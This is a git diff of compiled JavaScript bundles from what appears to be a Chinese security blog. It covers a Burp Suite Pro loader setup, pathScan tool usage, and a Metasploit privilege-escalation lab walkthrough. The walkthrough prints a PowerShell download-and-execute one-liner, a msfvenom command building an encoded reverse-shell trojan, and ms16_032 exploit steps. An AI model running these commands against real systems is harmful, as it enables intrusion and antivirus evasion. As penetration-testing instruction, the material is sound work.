burpsuitloader-4.11.22-all.jar\n'})}),"\n",(0,a.jsx)(n.p,{children:"\u5982\u679c\u51fa\u73b0\u4ee5\u4e0b\u9519\u8bef"}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202511041756448.png",alt:"197393162-cdd3be46-6e33-42e2-8c62-773a991ba59d"})}),"\n",(0,a.jsx)(n.p,{children:"\u8fd0\u884c"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-sh",children:"sudo xattr -r -d com.apple.quarantine /Applications/Burp\\ Suite\\ Professional.app\n"})}),"\n",(0,a.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,a.jsx)(n.p,{children:"\u867d\u7136\u5b89\u88c5\u6b65\u9aa4\u4e9b\u8bb8\u7e41\u7410\uff0c\u597d\u5728\u4e0d\u4f9d\u8d56\u4efb\u4f55\u73af\u5883\uff0c\u4f60\u53ef\u4ee5\u79fb\u9664\u4efb\u4f55Java \u73af\u5883\uff0c\u5e76\u4e14\u540e\u7eed\u66f4\u65b0\uff0c\u53cc\u51fb Burp \u6700\u65b0\u5b89\u88c5\u5305\uff0c\u5373\u53ef\u66f4\u65b0\uff0c\u65e0\u9700\u91cd\u590d\u6fc0\u6d3b\u3002\u90a3\u4e48\u56de\u590d\u3010BurpSuite2025.10\u3011\u5373\u53ef\u9886\u53d6\u4e0a\u8ff0\u7684\u6240\u6709\u5b89\u88c5\u73af\u5883\u6559\u7a0b\u3001\u4ee5\u53ca\u6240\u7528\u5230\u7684 Burp \u63d2\u4ef6"})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(c,{...e})}):c(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/3b74ab2a.16240459.js b/en/assets/js/3b74ab2a.16240459.js new file mode 100644 index 0000000..62728b8 --- /dev/null +++ b/en/assets/js/3b74ab2a.16240459.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3536],{23051:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230815134122981-8ce7ac63ca94ae88767c8b19ff77c2fa.png"},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>l});var t=s(96540);const c={},a=t.createContext(c);function i(e){const n=t.useContext(a);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:i(e.components),t.createElement(a.Provider,{value:n},e.children)}},36911:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230815130555877-71fb87f6c36b9afa91c41df607f937ab.png"},49954:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230822153932227-3ac02ce39c37cc6771894b043e83aca1.png"},50528:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>d,contentTitle:()=>l,default:()=>o,frontMatter:()=>i,metadata:()=>t,toc:()=>r});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","title":"\u547d\u4ee4\u53c2\u6570","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/03.\u547d\u4ee4\u53c2\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/03.\u547d\u4ee4\u53c2\u6570.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u521d\u59cb\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316"},"next":{"title":"\u626b\u63cf\u6a21\u5f0f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f"}}');var c=s(74848),a=s(28453);const i={},l="\u547d\u4ee4\u53c2\u6570",d={},r=[{value:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4",id:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4",level:2},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:2}];function h(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(n.tbody,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{style:{textAlign:"left"},children:(0,c.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,c.jsx)(n.td,{style:{textAlign:"left"},children:"2023-08-22 17:33:34"})]})})]}),"\n",(0,c.jsx)(n.header,{children:(0,c.jsx)(n.h1,{id:"\u547d\u4ee4\u53c2\u6570",children:"\u547d\u4ee4\u53c2\u6570"})}),"\n",(0,c.jsxs)(n.blockquote,{children:["\n",(0,c.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,c.jsxs)(n.p,{children:[(0,c.jsx)(n.code,{children:"pathScan"}),"\u4f7f\u7528\u7684\u662f",(0,c.jsx)(n.code,{children:"nuclei"}),"\u5de5\u5177\u7684\u98ce\u683c\u547d\u4ee4\u884c, ",(0,c.jsx)(n.code,{children:"-help"}),"\u3001",(0,c.jsx)(n.code,{children:"--help"})," \u4e0d\u654f\u611f"]}),"\n"]}),"\n",(0,c.jsx)(n.h2,{id:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4",children:"\u83b7\u53d6\u57fa\u672c\u547d\u4ee4"}),"\n",(0,c.jsxs)(n.p,{children:["\u60a8\u53ef\u4ee5\u8fd0\u884c",(0,c.jsx)(n.code,{children:"pathScan -help"}),"\u6765\u83b7\u5f97\u5e2e\u52a9"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c ~ pathScan -help\nPathScan Go \u626b\u63cf\u3001\u4fe1\u606f\u6536\u96c6\u5de5\u5177\n\nUsage:\n pathScan [flags]\n\nFlags:\n\u8f93\u5165:\n -u, -url string[] \u76ee\u6807(\u4ee5\u9017\u53f7\u5206\u5272)\n -list string[] \u4ece\u6587\u4ef6\u4e2d,\u8bfb\u53d6\u76ee\u6807\n -tr, -target-remote string \u4ece\u8fdc\u7a0b\u52a0\u8f7d\u76ee\u6807\n -tc, -target-channel \u4ece\u901a\u9053\u4e2d\u52a0\u8f7d\u76ee\u6807\n -resume string \u4f7f\u7528resume.cfg\u6062\u590d\u626b\u63cf\n -mf, -match-file string \u6307\u7eb9\u6587\u4ef6\u8def\u5f84\n"})}),"\n",(0,c.jsx)(n.h2,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsx)(n.li,{children:"\u63a2\u5bfb\u4e00\u4e2a\u5b8c\u6574\u7684\u57fa\u672c\u8def\u5f84\uff0c\u5e76\u6392\u9664404\u54cd\u5e94"}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"pathScan -u https://wjlin0.com -sc 404\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230815130555877",src:s(36911).A+"",width:"784",height:"442"})}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsx)(n.li,{children:"\u4ece\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce\u4e2d\uff0c\u6536\u96c6\u4fe1\u606f"}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"# \u9996\u5148\u5f97\u628akey\u914d\u7f6e\u5230 provider-config.yaml \u6587\u4ef6\u4e2d\npathScan -ue quake -uq 'baidu.com' -uc\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230815131000873",src:s(99411).A+"",width:"776",height:"540"})}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsxs)(n.li,{children:["pathScan\u9ed8\u8ba4\u4e0d\u4f1a\u4ece\u7f51\u9875\u4e2d\u53d1\u73b0\u65b0\u7684URL\uff0c\u5982\u679c\u4f60\u53d1\u73b0\u5176\u4ed6\u8def\u5f84\uff0c\u5219\u53ef\u6307\u5b9a",(0,c.jsx)(n.code,{children:"-so/-sd"})," \u5141\u8bb8\u53d1\u73b0\u5176\u4ed6URL"]}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"pathScan -u http://blog.wjlin0.com/ -sd\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230815134122981",src:s(23051).A+"",width:"947",height:"488"})}),"\n",(0,c.jsxs)(n.ul,{children:["\n",(0,c.jsx)(n.li,{children:"\u6536\u96c6\u67d0\u4e2a\u57df\u540d\u7684\u6240\u6709\u5b50\u57df\u540d"}),"\n"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"# \u5c3d\u53ef\u80fd\u6536\u96c6\u66f4\u591a\u7684\u8d44\u4ea7\u4fe1\u606f \npathScan -sub -sq baidu.com -sd\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20230822153932227",src:s(49954).A+"",width:"1302",height:"651"})})]})}function o(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,c.jsx)(n,{...e,children:(0,c.jsx)(h,{...e})}):h(e)}},99411:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20230815131000873-290b6db6df230032dd0d008f96b341cd.png"}}]); \ No newline at end of file diff --git a/en/assets/js/3c35d1af.9ca9ba5e.js b/en/assets/js/3c35d1af.9ca9ba5e.js new file mode 100644 index 0000000..f66d9c4 --- /dev/null +++ b/en/assets/js/3c35d1af.9ca9ba5e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1341],{28453:(n,e,s)=>{s.d(e,{R:()=>c,x:()=>r});var i=s(96540);const l={},t=i.createContext(l);function c(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:c(n.components),i.createElement(t.Provider,{value:e},n.children)}},33254:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>d,contentTitle:()=>r,default:()=>h,frontMatter:()=>c,metadata:()=>i,toc:()=>o});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","title":"MSF\u63d0\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/01.MSF\u63d0\u6743.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/01.MSF\u63d0\u6743.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"oss-put","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put"},"next":{"title":"\u5185\u7f51\u6e17\u900f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/"}}');var l=s(74848),t=s(28453);const c={},r=void 0,d={},o=[{value:"1.msfconsole \u57fa\u672c\u4f7f\u7528\u547d\u4ee4",id:"1msfconsole-\u57fa\u672c\u4f7f\u7528\u547d\u4ee4",level:2},{value:"2.\u6a21\u5757",id:"2\u6a21\u5757",level:2},{value:"exploit",id:"exploit",level:3},{value:"payload",id:"payload",level:3},{value:"auxiliary",id:"auxiliary",level:3},{value:"encode",id:"encode",level:3},{value:"3.\u5b9e\u6218 ms16-032\u63d0\u6743",id:"3\u5b9e\u6218-ms16-032\u63d0\u6743",level:2},{value:"1.\u67e5\u770b\u5f53\u524d\u6743\u9650\u3001\u7248\u672c\u3001ip\u7b49\uff0c\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237",id:"1\u67e5\u770b\u5f53\u524d\u6743\u9650\u7248\u672cip\u7b49\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237",level:3},{value:"2.\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1.txt\u6587\u4ef6\u4e2d",id:"2\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1txt\u6587\u4ef6\u4e2d",level:3},{value:"3.\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f",id:"3\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f",level:3}];function p(n){const e={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,t.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(e.table,{children:[(0,l.jsx)(e.thead,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(e.tbody,{children:(0,l.jsxs)(e.tr,{children:[(0,l.jsx)(e.td,{style:{textAlign:"left"},children:(0,l.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:44:37"})]})})]}),"\n",(0,l.jsx)(e.p,{children:"msf-\u822c\u4f1a\u6709\u56db\u79cd\u63a5\u53e3\u5bf9\u5916\u63d0\u4f9b, msfconsole\u3001 msfc\u3001 msfgui\u4ee5\u53ca msfet,\u6211\u4eec\u4e3b\u8981\u4ee5 msfconsole\u6765\u505a\u8bb2\u89e3\u4e0e\u6f14\u793a\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"1msfconsole-\u57fa\u672c\u4f7f\u7528\u547d\u4ee4",children:"1.msfconsole \u57fa\u672c\u4f7f\u7528\u547d\u4ee4"}),"\n",(0,l.jsx)(e.p,{children:"\u542f\u52a8\uff1a msfconsole"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644170.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528\u6307\u5357\uff1ahelp"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644172.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u57fa\u7840\u547d\u4ee4"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{children:"search ms17 #\u67e5\u627e\n\nuse exploit/multi/handler #\u4f7f\u7528 \n\ninfo #\u67e5\u770b\u4fe1\u606f \n\nshow exploits/payloads/options #\u663e\u793a\u53ef\u7528\u4fe1\u606f \n\nset options/payload #\u7ed9\u76f8\u5173\u5bf9\u8c61\u8d4b\u503c \n\nexploit/run #\u6267\u884c \n\nexploit #\u540e\u53f0\u8fd0\u884c \n\nback #\u8fd4\u56de\u4e0a\u4e00\u7ea7 \n\nsessions -i #\u67e5\u770b\u5f53\u524d\u53ef\u7528\u4f1a\u8bdd \n\nsessions -K #\u6740\u6b7b\u6240\u6709\u6d3b\u8dc3\u4f1a\u8bdd\n"})}),"\n",(0,l.jsx)(e.h2,{id:"2\u6a21\u5757",children:"2.\u6a21\u5757"}),"\n",(0,l.jsx)(e.h3,{id:"exploit",children:"exploit"}),"\n",(0,l.jsx)(e.p,{children:"\u5229\u7528\u7a0b\u5e8f,\u9488\u5bf9\u6f0f\u6d1e\u3001\u6743\u9650\u8fdb\u884c\u5229\u7528,\u662f\u4e3b\u8981\u4f7f\u7528\u7684\u6a21\u5757"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644173.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"payload",children:"payload"}),"\n",(0,l.jsx)(e.p,{children:"\u7528\u4e8e\u5728\u76ee\u6807\u7cfb\u7edf\u4e2d\u8fd0\u884c\u4efb\u610f\u547d\u4ee4\u6216\u8005\u6267\u884c\u7279\u5b9a\u4ee3\u7801,\u4e3b\u8981\u7528\u4e8eshell\u83b7\u53d6"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644174.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"auxiliary",children:"auxiliary"}),"\n",(0,l.jsx)(e.p,{children:"\u8be5\u6a21\u5757\u5305\u542b\u4e86\u626b\u63cf\u3001\u55c5\u63a2\u3001\u6307\u7eb9\u8bc6\u522b\u3001\u7f51\u7edc\u534f\u8bae\u6b3a\u9a97\u7b49\u76f8\u5173\u529f\u80fd\u6a21\u5757"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644175.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"encode",children:"encode"}),"\n",(0,l.jsx)(e.p,{children:"r\u8be5\u6a21\u5757\u4e3b\u8981\u9488\u5bf9 exploit\u6a21\u5757\u8fdb\u884c\u4ee3\u7801\u514d\u6740,\u4ee5\u9003\u8fc7\u6740\u6bd2\u8f6f\u4ef6\u3001\u9632\u706b\u5899\u3001ids\u7b49\u5b89\u5168\u9632\u62a4\u673a\u5236\u7684\u68c0\u6d4b"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644176.png",alt:"img"})}),"\n",(0,l.jsx)(e.h2,{id:"3\u5b9e\u6218-ms16-032\u63d0\u6743",children:"3.\u5b9e\u6218 ms16-032\u63d0\u6743"}),"\n",(0,l.jsx)(e.h3,{id:"1\u67e5\u770b\u5f53\u524d\u6743\u9650\u7248\u672cip\u7b49\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237",children:"1.\u67e5\u770b\u5f53\u524d\u6743\u9650\u3001\u7248\u672c\u3001ip\u7b49\uff0c\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644177.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644178.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644179.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"2\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1txt\u6587\u4ef6\u4e2d",children:"2.\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1.txt\u6587\u4ef6\u4e2d"}),"\n",(0,l.jsxs)(e.p,{children:["powershell -nop -exec -bypass -c \"IEX (New-Object Net.Webclient).DownloadString('",(0,l.jsx)(e.a,{href:"http://192.168.10.100/Sherlock.ps1",children:"http://192.168.10.100/Sherlock.ps1"}),"'); Find-Allvulns\" >1.txt"]}),"\n",(0,l.jsx)(e.p,{children:'powershell -nop -exec -bypass -c "Import-Module Sherlock.ps1; Find-Allvulns" >1.txt'}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644180.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u6267\u884c\u5b8c\u6210\u5e76\u8fd4\u56de\u4e00\u4e2a1.txt\uff0c\u67e5\u770b\u6f0f\u6d1e\u4fe1\u606f"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644181.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u53d1\u73b0\u7248\u672c\u662f64\u4f4d\u7684\u6682\u4e0d\u652f\u6301\u6f0f\u6d1e"}),"\n",(0,l.jsx)(e.h3,{id:"3\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f",children:"3.\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f"}),"\n",(0,l.jsx)(e.p,{children:"msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\\x00' LHOST=192.168.119.130 LPORT=4444 -f exe > 1.exe"}),"\n",(0,l.jsx)(e.p,{children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"-p payload"}),"\n",(0,l.jsx)(e.li,{children:"-e \u7f16\u7801\u65b9\u5f0f"}),"\n",(0,l.jsx)(e.li,{children:"-i \u7f16\u7801\u6b21\u6570"}),"\n",(0,l.jsx)(e.li,{children:"-b \u5728\u751f\u6210\u7684\u7a0b\u5e8f\u4e2d\u907f\u514d\u51fa\u73b0\u7684\u503c"}),"\n",(0,l.jsx)(e.li,{children:"LHOST,LPORT \u76d1\u542c\u4e0a\u7ebf\u7684\u4e3b\u673aIP\u548c\u7aef\u53e3"}),"\n",(0,l.jsx)(e.li,{children:"-f exe \u751f\u6210EXE\u683c\u5f0f"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u8bbe\u7f6e\u672c\u5730\u76d1\u542c"}),"\n",(0,l.jsx)(e.p,{children:"msf6 > use exploit/multi/handler"}),"\n",(0,l.jsx)(e.p,{children:"msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644182.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u4e0a\u4f20\u4e4b\u9776\u673aweb \u8fd0\u884c \u8fd9\u91cc\u6211\u4eec ip \u7aef\u53e34443 \u8bbe\u7f6e\u9519\u4e86 \u91cd\u65b0\u6539\u4e00\u4e0b 192.168.119.130:4443"}),"\n",(0,l.jsx)(e.p,{children:"\u524d\u9762\u7684 exe\u6587\u4ef6\u4e5f\u8981\u91cd\u65b0\u751f\u6210"}),"\n",(0,l.jsx)(e.p,{children:"\u6267\u884c"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644183.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u67e5\u770b\u4e00\u4e0b\u6743\u9650 \u6ca1\u95ee\u9898\u7248\u672c\u6743\u9650\u5f88\u4f4e"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644184.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u8fd8\u662f\u4f7f\u7528sherlock \u67e5\u770b \u6f0f\u6d1e"}),"\n",(0,l.jsx)(e.p,{children:'powershell -exec -bypass -c "sherlock.ps1; Find-Allvulns" >2.txt'}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644185.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644186.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u9009\u62e9\u4e00\u4e2a\u5f53\u524d\u7248\u672c\u7684\u6f0f\u6d1e\u4f7f\u7528"}),"\n",(0,l.jsx)(e.p,{children:"\u8fd9\u91cc\u6f14\u793aMS16_032\u7684\u6f0f\u6d1e"}),"\n",(0,l.jsx)(e.p,{children:"use exploit/windows/local/ms16_032_secondary_logon_handle_privesc"}),"\n",(0,l.jsx)(e.p,{children:"\u8bbe\u7f6epayload session LHOST LPORT"}),"\n",(0,l.jsx)(e.p,{children:"msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set payload windows/meterpreter/reverse_tcp"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644187.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644188.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u8fd0\u884c\u5373\u53ef\u83b7\u5f97shell"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644189.png",alt:"img"})})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(p,{...n})}):p(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/3d442095.63534ee9.js b/en/assets/js/3d442095.63534ee9.js new file mode 100644 index 0000000..e21dc2f --- /dev/null +++ b/en/assets/js/3d442095.63534ee9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4270],{28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var l=t(96540);const s={},r=l.createContext(s);function i(n){const e=l.useContext(r);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),l.createElement(r.Provider,{value:e},n.children)}},30181:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>o,frontMatter:()=>i,metadata:()=>l,toc:()=>x});const 